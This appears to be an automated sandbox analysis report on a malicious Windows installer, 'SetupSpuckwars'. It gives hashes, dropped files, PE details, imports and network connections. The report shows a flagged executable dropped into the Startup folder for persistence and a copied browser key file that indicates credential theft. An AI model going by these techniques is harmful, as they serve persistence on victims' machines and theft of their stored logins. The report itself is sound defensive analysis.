                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:7-zip archive data, version 0.4
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):68980524
                                                                                                                  Entropy (8bit):7.999994429091671
                                                                                                                  Encrypted:true
                                                                                                                  SSDEEP:1572864:erziNx5qczZbE8KEPa95WKcck0k7zX1PXLrjBNQzTW1wFNITL:hx5qczZcEyeKcpTzZXLHBNQG1MITL
                                                                                                                  MD5:1BF15A0B1FF008A2AF2F24CD8FECC940
                                                                                                                  SHA1:B4B6E3FDC8C253E3602633F1243177C6C9A4AAAE
                                                                                                                  SHA-256:C355DF9D55B2020F3240E401C270E98A0EDE904009EEECFA04A7160B8022C55D
                                                                                                                  SHA-512:36C6918161E8A49FB1A84E411E14D82FAED029C811F940DF775A02F0A198588C7FF1A9960E72F10A52AF95F2409C1211569E08E53772BB4ED7680AC68E13771A
                                                                                                                  Malicious:false
                                                                                                                  Preview:7z..'.....oi.......%.........S......]...6...#k.![y.`.Gr#.f..F.....c}.R|..j=...,._..z..gC5Q.j...7S.:0`..o..^.._e....0.....K....T).XS.CPP'....B...&...<..f........`".U01o...QI.3i.].vD.d9...V...>%.+..5...~M.,.[.....q..1..../.&.h...4;!<..-O......4r......8..a.\I....=...!NNs.QB.."..M?....J..D...bvy....u#.:,..y..5T^.&'% !"....-...u<kJ..;..9..X6....v..b...T.9u..#.v.(l....n.......v...ZE.i...uEcGJ!c+.;...Z.n.:.0...-...!..$...^l-`A%kX<..,.....2...........^....a...L...s.x..RN.w..]@;~ymo:J.....i..M......h..Z.nL...........J}J.. .l...O...[5.>.5........;....o..up..1.N4H9.K..es....l.(.-W=(z.OR.|r .k.......\.?}.ua..L.~..'K).&...iIAoe...u.. ...Z.f../8P.....H._.!........@_.S..m.*F....g....-....i.:&i..h.n..6&..H.}..!.T...e....S.........$.....Sazv...[.W9+.A..}P^.p........uFh..\o...Ft...$.p..-.....:).......g\...&>.^.<..!8N.@mmC....?.Q.(.]t....8.i.........!fh..dd....)...eL.L`.a..Z1hD.$.j..[Fz..I..b.C.|...._\.w$..5.rB.+....B..&!....i..J..8..7..u..x.h...?......!p.

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\nsis7z.dll

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):434176
                                                                                                                  Entropy (8bit):6.584811966667578
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:aUWQQ5O3fz0NG3ucDaEUTWfk+ZA0NrCL/k+uyoyBOX1okfW7w+Pfzqibckl:an5QEG39fPAkrE4yrBOXDfaNbck
                                                                                                                  MD5:80E44CE4895304C6A3A831310FBF8CD0
                                                                                                                  SHA1:36BD49AE21C460BE5753A904B4501F1ABCA53508
                                                                                                                  SHA-256:B393F05E8FF919EF071181050E1873C9A776E1A0AE8329AEFFF7007D0CADF592
                                                                                                                  SHA-512:C8BA7B1F9113EAD23E993E74A48C4427AE3562C1F6D9910B2BBE6806C9107CF7D94BC7D204613E4743D0CD869E00DAFD4FB54AAD1E8ADB69C553F3B9E5BC64DF
                                                                                                                  Malicious:false
                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L.6a..X2..X2..X2m.[3..X2m.]3..X2Z.]3+.X2Z.\3..X2Z.[3..X2m.\3..X2m.Y3..X2..Y2..X2..\3#.X2..]3..X2..X3..X2...2..X2...2..X2..Z3..X2Rich..X2........PE..L.....\...........!......................... ...............................@............@..........................6.......7..d................................E.....................................@............ ...............................text............................... ..`.rdata..8"... ...$..................@..@.data........P... ...6..............@....rsrc................V..............@..@.reloc...E.......F...Z..............@..B........................................................................................................................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                  Category:modified
                                                                                                                  Size (bytes):162028032
                                                                                                                  Entropy (8bit):6.733467572611259
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:1572864:mCquurbtqKajQe7vqrTU4PrCsdCXrBngPE1cG7VOWe2IkBmUgq3Fd6iU3x6VCdbm:8DAgZi
                                                                                                                  MD5:6DE6C1C8E6ECD92A94595EBC1189C2B2
                                                                                                                  SHA1:A9D5129A026FF6232C827281294466F7C0E5E3F2
                                                                                                                  SHA-256:3F4BBC554C95E66A418A835FA55D1CDA8A48CFE25D7323F4D92693DE2FAEF245
                                                                                                                  SHA-512:C518F1E3D4EDB1A3E41F0D8C9A31D17C0F6997F1638D8CAD3D6F7167A5D4020D0A467EE3919BDA6B0AE902A914F1D4E354E6F22042FC4D167C674BE853FBE95A
                                                                                                                  Malicious:true
                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........."......v.....................@..........................................`...........................................D.od..e.H.T............p..,.@.............`.....:.......................:.(...`...8...........P,H......iD......................text....u.......v.................. ..`.rdata...`k......bk..|..............@..@.data....bE...L.......K.............@....pdata..,.@..p....@...V.............@..@.00cfg..(............J..............@..@.gxfg....B.......B...L..............@..@.retplne.....`...........................rodata......p...................... ..`.tls................................@....voltbl.R...............................CPADinfo8...........................@...LZMADEC............................. ..`_RDATA..............................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..`.......

                                                                                                                  C:\Users\user\AppData\Roaming\spuckwars\Local State (copy)

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:JSON data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):389
                                                                                                                  Entropy (8bit):5.623272988767207
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6:YKWCRgXt9RdrtybHerXEqvkfoz0WzuJYgehGx8FmMfPu+jYPsQQeXo8O0H7CF:YKWSg99rrt++rUcqNWoeGWcIG+Ue8YF
                                                                                                                  MD5:50EE8412945B166173E5B3E065F229A8
                                                                                                                  SHA1:730A441B7E323DC7FBFC78E78068A91EE0EFDF26
                                                                                                                  SHA-256:1A0B5B980A65E2F42D4C57F1815C336F35F562303CDB6E491303E0592AA30D5B
                                                                                                                  SHA-512:E954DDF4A7E0080D9659E996ABBA430DD69D3898A60213D0908A2350DA9210D144A6F38552E98971F1E0B585EA645352AF34300A16BAE162782EA87511C67CB2
                                                                                                                  Malicious:false
                                                                                                                  Preview:{"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACVPUYJBpqYS4t5FzV4TauWAAAAAAIAAAAAABBmAAAAAQAAIAAAAN2GhYAPH7PHBFnWEvwZHUxonbVOB2NWBkey5h/liWSZAAAAAA6AAAAAAgAAIAAAAGjJwbL37Doi2hjlVtJop5spp532OZCVOJcy3Kf8UYAUMAAAAAYTFoRYAJFcbj94TCXQvPE39vH5dKlGkYzkbJHYL7CpviluieawZsKuYjlmyfKilUAAAADpaVcQREFoDEsJv+c7Pbmjh2MV+Dq0dNn0giuUw8/Qp/4jMlBUu8Kebvq/QjQWppMz5cZZnsTQL6iDvVnKqqtw"}}

                                                                                                                  C:\Users\user\AppData\Roaming\spuckwars\b92333a6-5f90-4385-a13a-450f7257ab3e.tmp

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:JSON data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):389
                                                                                                                  Entropy (8bit):5.623272988767207
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6:YKWCRgXt9RdrtybHerXEqvkfoz0WzuJYgehGx8FmMfPu+jYPsQQeXo8O0H7CF:YKWSg99rrt++rUcqNWoeGWcIG+Ue8YF
                                                                                                                  MD5:50EE8412945B166173E5B3E065F229A8
                                                                                                                  SHA1:730A441B7E323DC7FBFC78E78068A91EE0EFDF26
                                                                                                                  SHA-256:1A0B5B980A65E2F42D4C57F1815C336F35F562303CDB6E491303E0592AA30D5B
                                                                                                                  SHA-512:E954DDF4A7E0080D9659E996ABBA430DD69D3898A60213D0908A2350DA9210D144A6F38552E98971F1E0B585EA645352AF34300A16BAE162782EA87511C67CB2
                                                                                                                  Malicious:false
                                                                                                                  Preview:{"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACVPUYJBpqYS4t5FzV4TauWAAAAAAIAAAAAABBmAAAAAQAAIAAAAN2GhYAPH7PHBFnWEvwZHUxonbVOB2NWBkey5h/liWSZAAAAAA6AAAAAAgAAIAAAAGjJwbL37Doi2hjlVtJop5spp532OZCVOJcy3Kf8UYAUMAAAAAYTFoRYAJFcbj94TCXQvPE39vH5dKlGkYzkbJHYL7CpviluieawZsKuYjlmyfKilUAAAADpaVcQREFoDEsJv+c7Pbmjh2MV+Dq0dNn0giuUw8/Qp/4jMlBUu8Kebvq/QjQWppMz5cZZnsTQL6iDvVnKqqtw"}}

                                                                                                                  Static File Info

                                                                                                                  General

                                                                                                                  File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                                                  Entropy (8bit):7.999986303528532
                                                                                                                  TrID:
                                                                                                                  • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                  • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                  • DOS Executable Generic (2002/1) 0.02%
                                                                                                                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                  File name:SetupSpuckwars_1.15.5.exe
                                                                                                                  File size:69'319'004 bytes
                                                                                                                  MD5:320696b6328d7d82817da50697fcb673
                                                                                                                  SHA1:9cae6fdf42dda5ecc2c3a84c24488c132dc2f11c
                                                                                                                  SHA256:3b83e25ec4dec28c78cf89ae94e007e1928f09a3618b3b653f960d07c9e485b2
                                                                                                                  SHA512:fea8232e7bfb53cf3462c2be20015abb13a00786cb56b3a24d92052dc87c58e9b09b78f5da6980b6733e545be2398e57e146514d1491633a5f3b80745355e882
                                                                                                                  SSDEEP:1572864:drziNx5qczZbE8KEPa95WKcck0k7zX1PXLrjBNQzTW1wFNITN7:4x5qczZcEyeKcpTzZXLHBNQG1MITN7
                                                                                                                  TLSH:0BE73399FE6BCC37ED0664FF5981E03328C8E104C656E559908140AF3626EFBD292DF9
                                                                                                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L......\.................h...8...@.

                                                                                                                  File Icon

                                                                                                                  Icon Hash:3d2e0f95332b3399

                                                                                                                  Static PE Info

                                                                                                                  General

                                                                                                                  Entrypoint:0x40338f
                                                                                                                  Entrypoint Section:.text
                                                                                                                  Digitally signed:false
                                                                                                                  Imagebase:0x400000
                                                                                                                  Subsystem:windows gui
                                                                                                                  Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                                                  DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                                  Time Stamp:0x5C157F86 [Sat Dec 15 22:26:14 2018 UTC]
                                                                                                                  TLS Callbacks:
                                                                                                                  CLR (.Net) Version:
                                                                                                                  OS Version Major:4
                                                                                                                  OS Version Minor:0
                                                                                                                  File Version Major:4
                                                                                                                  File Version Minor:0
                                                                                                                  Subsystem Version Major:4
                                                                                                                  Subsystem Version Minor:0
                                                                                                                  Import Hash:b34f154ec913d2d2c435cbd644e91687

                                                                                                                  Entrypoint Preview

                                                                                                                  Instruction
                                                                                                                  sub esp, 000002D4h
                                                                                                                  push ebx
                                                                                                                  push esi
                                                                                                                  push edi
                                                                                                                  push 00000020h
                                                                                                                  pop edi
                                                                                                                  xor ebx, ebx
                                                                                                                  push 00008001h
                                                                                                                  mov dword ptr [esp+14h], ebx
                                                                                                                  mov dword ptr [esp+10h], 0040A2E0h
                                                                                                                  mov dword ptr [esp+1Ch], ebx
                                                                                                                  call dword ptr [004080A8h]
                                                                                                                  call dword ptr [004080A4h]
                                                                                                                  and eax, BFFFFFFFh
                                                                                                                  cmp ax, 00000006h
                                                                                                                  mov dword ptr [0047AEECh], eax
                                                                                                                  je 00007F404D57CEB3h
                                                                                                                  push ebx
                                                                                                                  call 00007F404D580165h
                                                                                                                  cmp eax, ebx
                                                                                                                  je 00007F404D57CEA9h
                                                                                                                  push 00000C00h
                                                                                                                  call eax
                                                                                                                  mov esi, 004082B0h
                                                                                                                  push esi
                                                                                                                  call 00007F404D5800DFh
                                                                                                                  push esi
                                                                                                                  call dword ptr [00408150h]
                                                                                                                  lea esi, dword ptr [esi+eax+01h]
                                                                                                                  cmp byte ptr [esi], 00000000h
                                                                                                                  jne 00007F404D57CE8Ch
                                                                                                                  push 0000000Ah
                                                                                                                  call 00007F404D580138h
                                                                                                                  push 00000008h
                                                                                                                  call 00007F404D580131h
                                                                                                                  push 00000006h
                                                                                                                  mov dword ptr [0047AEE4h], eax
                                                                                                                  call 00007F404D580125h
                                                                                                                  cmp eax, ebx
                                                                                                                  je 00007F404D57CEB1h
                                                                                                                  push 0000001Eh
                                                                                                                  call eax
                                                                                                                  test eax, eax
                                                                                                                  je 00007F404D57CEA9h
                                                                                                                  or byte ptr [0047AEEFh], 00000040h
                                                                                                                  push ebp
                                                                                                                  call dword ptr [00408044h]
                                                                                                                  push ebx
                                                                                                                  call dword ptr [004082A0h]
                                                                                                                  mov dword ptr [0047AFB8h], eax
                                                                                                                  push ebx
                                                                                                                  lea eax, dword ptr [esp+34h]
                                                                                                                  push 000002B4h
                                                                                                                  push eax
                                                                                                                  push ebx
                                                                                                                  push 00440208h
                                                                                                                  call dword ptr [00408188h]
                                                                                                                  push 0040A2C8h

                                                                                                                  Rich Headers

                                                                                                                  Programming Language:
                                                                                                                  • [EXP] VC++ 6.0 SP5 build 8804

                                                                                                                  Data Directories

                                                                                                                  NameVirtual AddressVirtual Size Is in Section
                                                                                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x86100xa0.rdata
                                                                                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x10b0000xcf0.rsrc
                                                                                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                  IMAGE_DIRECTORY_ENTRY_IAT0x80000x2b0.rdata
                                                                                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                  Sections

                                                                                                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                  .text0x10000x66270x68007618d4c0cd8bb67ea9595b4266b3a91fFalse0.6646259014423077data6.450282348506287IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                  .rdata0x80000x14a20x1600eecac1fed9cc6b447d50940d178404d8False0.4405184659090909data5.025178929113415IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                  .data0xa0000x70ff80x600db8f31a08a2242d80c29e1f9500c6527False0.5182291666666666data4.037117731448378IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                  .ndata0x7b0000x900000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                  .rsrc0x10b0000xcf00xe00b73dbffdb9eefdf9c20fde49b7c0c305False0.41573660714285715data4.240673999609037IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                  Resources

                                                                                                                  NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                  RT_ICON0x10b1d80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 640EnglishUnited States0.42473118279569894
                                                                                                                  RT_DIALOG0x10b4c00x100dataEnglishUnited States0.5234375
                                                                                                                  RT_DIALOG0x10b5c00xf8dataEnglishUnited States0.6330645161290323
                                                                                                                  RT_DIALOG0x10b6b80x60dataEnglishUnited States0.7291666666666666
                                                                                                                  RT_GROUP_ICON0x10b7180x14dataEnglishUnited States1.2
                                                                                                                  RT_VERSION0x10b7300x280dataEnglishUnited States0.459375
                                                                                                                  RT_MANIFEST0x10b9b00x33eXML 1.0 document, ASCII text, with very long lines (830), with no line terminatorsEnglishUnited States0.5542168674698795

                                                                                                                  Imports

                                                                                                                  DLLImport
                                                                                                                  KERNEL32.dllSetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
                                                                                                                  USER32.dllGetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
                                                                                                                  GDI32.dllSelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
                                                                                                                  SHELL32.dllSHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
                                                                                                                  ADVAPI32.dllAdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
                                                                                                                  COMCTL32.dllImageList_Create, ImageList_AddMasked, ImageList_Destroy
                                                                                                                  ole32.dllOleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

                                                                                                                  Possible Origin

                                                                                                                  Language of compilation systemCountry where language is spokenMap
                                                                                                                  EnglishUnited States

                                                                                                                  Network Behavior

                                                                                                                  Network Port Distribution

                                                                                                                  TCP Packets

                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                  Apr 10, 2024 08:39:21.317868948 CEST49730443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:21.317913055 CEST44349730172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:21.317987919 CEST49730443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:21.318837881 CEST49730443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:21.318854094 CEST44349730172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:21.521600008 CEST44349730172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:21.522093058 CEST49730443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:21.522104979 CEST44349730172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:21.523121119 CEST44349730172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:21.523190975 CEST49730443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:22.207848072 CEST49731443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:22.207921982 CEST44349731172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:22.208060980 CEST49731443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:22.208316088 CEST49731443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:22.208344936 CEST44349731172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:22.406666994 CEST44349731172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:22.407150984 CEST49731443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:22.407212019 CEST44349731172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:22.408412933 CEST44349731172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:22.408622026 CEST49731443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:23.629829884 CEST49733443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:23.629853964 CEST44349733172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:23.630076885 CEST49733443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:23.630163908 CEST49733443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:23.630178928 CEST44349733172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:23.826288939 CEST44349733172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:23.826605082 CEST49733443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:23.826616049 CEST44349733172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:23.827647924 CEST44349733172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:23.827709913 CEST49733443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:25.629757881 CEST49734443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:25.629791975 CEST44349734172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:25.629849911 CEST49734443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:25.630115986 CEST49734443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:25.630122900 CEST44349734172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:25.821769953 CEST44349734172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:25.822058916 CEST49734443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:25.822074890 CEST44349734172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:25.824187994 CEST44349734172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:25.824265957 CEST49734443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:28.490014076 CEST49735443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:28.490103006 CEST44349735172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:28.490221977 CEST49735443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:28.490587950 CEST49735443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:28.490624905 CEST44349735172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:28.681921959 CEST44349735172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:28.682394981 CEST49735443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:28.682451963 CEST44349735172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:28.683373928 CEST44349735172.64.41.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:28.683445930 CEST49735443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:31.227346897 CEST49733443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:31.227428913 CEST49730443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:31.227443933 CEST49731443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:31.227480888 CEST49734443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:31.227504015 CEST49735443192.168.2.6172.64.41.3
                                                                                                                  Apr 10, 2024 08:39:37.316442966 CEST49737443192.168.2.635.247.106.28
                                                                                                                  Apr 10, 2024 08:39:37.316483021 CEST4434973735.247.106.28192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:37.316570997 CEST49737443192.168.2.635.247.106.28
                                                                                                                  Apr 10, 2024 08:39:37.407560110 CEST49737443192.168.2.635.247.106.28
                                                                                                                  Apr 10, 2024 08:39:37.407602072 CEST4434973735.247.106.28192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:37.885838032 CEST4434973735.247.106.28192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:37.886369944 CEST49737443192.168.2.635.247.106.28
                                                                                                                  Apr 10, 2024 08:39:37.886404037 CEST4434973735.247.106.28192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:37.887290001 CEST4434973735.247.106.28192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:37.887362003 CEST49737443192.168.2.635.247.106.28
                                                                                                                  Apr 10, 2024 08:39:37.889930964 CEST49737443192.168.2.635.247.106.28
                                                                                                                  Apr 10, 2024 08:39:37.889971972 CEST4434973735.247.106.28192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:37.890039921 CEST49737443192.168.2.635.247.106.28
                                                                                                                  Apr 10, 2024 08:39:38.197423935 CEST49738443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:38.197499990 CEST4434973851.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:38.197587967 CEST49738443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:38.197936058 CEST49738443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:38.197972059 CEST4434973851.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:38.721577883 CEST4434973851.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:38.722070932 CEST49738443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:38.722134113 CEST4434973851.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:38.723172903 CEST4434973851.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:38.723248005 CEST49738443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:38.724087954 CEST49738443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:38.724136114 CEST4434973851.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:38.724199057 CEST49738443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:38.835575104 CEST49739443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:38.835618019 CEST44349739162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:38.835691929 CEST49739443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:38.835896015 CEST49740443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:38.835932970 CEST4434974051.38.43.18192.168.2.6
